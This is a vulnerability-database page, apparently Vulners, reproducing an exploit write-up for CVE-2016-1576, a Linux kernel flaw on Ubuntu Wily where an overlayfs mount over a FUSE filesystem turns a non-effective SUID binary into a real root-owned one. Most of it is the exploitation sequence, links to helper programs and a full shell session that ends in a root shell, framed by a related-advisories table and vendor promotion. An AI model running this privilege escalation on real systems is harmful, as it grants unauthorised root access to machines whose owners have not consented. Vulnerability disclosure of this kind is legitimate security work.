| Reporter | Title | Published | Views | Family All 90 |
|---|---|---|---|---|
| USN-2910-1 Linux kernel vulnerability | Cloud Foundry | 26 Feb 201600:00 | – | cloudfoundry | |
| Ubuntu Linux Local Elevation of Privilege Vulnerability | 26 Feb 201600:00 | – | cnvd | |
| CVE-2016-1576 | 2 May 201610:00 | – | cve | |
| CVE-2016-1576 | 2 May 201610:00 | – | cvelist | |
| CVE-2016-1576 | 2 May 201610:00 | – | debiancve | |
| Unbreakable Enterprise kernel security update | 23 Aug 201700:00 | – | oraclelinux | |
| EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1491) | 13 May 201900:00 | – | nessus | |
| EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1528) | 14 May 201900:00 | – | nessus | |
| Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2017-3609) | 25 Aug 201700:00 | – | nessus | |
| OracleVM 3.4 : Unbreakable / etc (OVMSA-2017-0145) (Stack Clash) | 25 Aug 201700:00 | – | nessus |
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
Mount fuse filesystem exposing one world writable SUID binary
Create USERNS
Mount overlayfs on top of fuse
Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
# 0day.today [2018-03-02] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation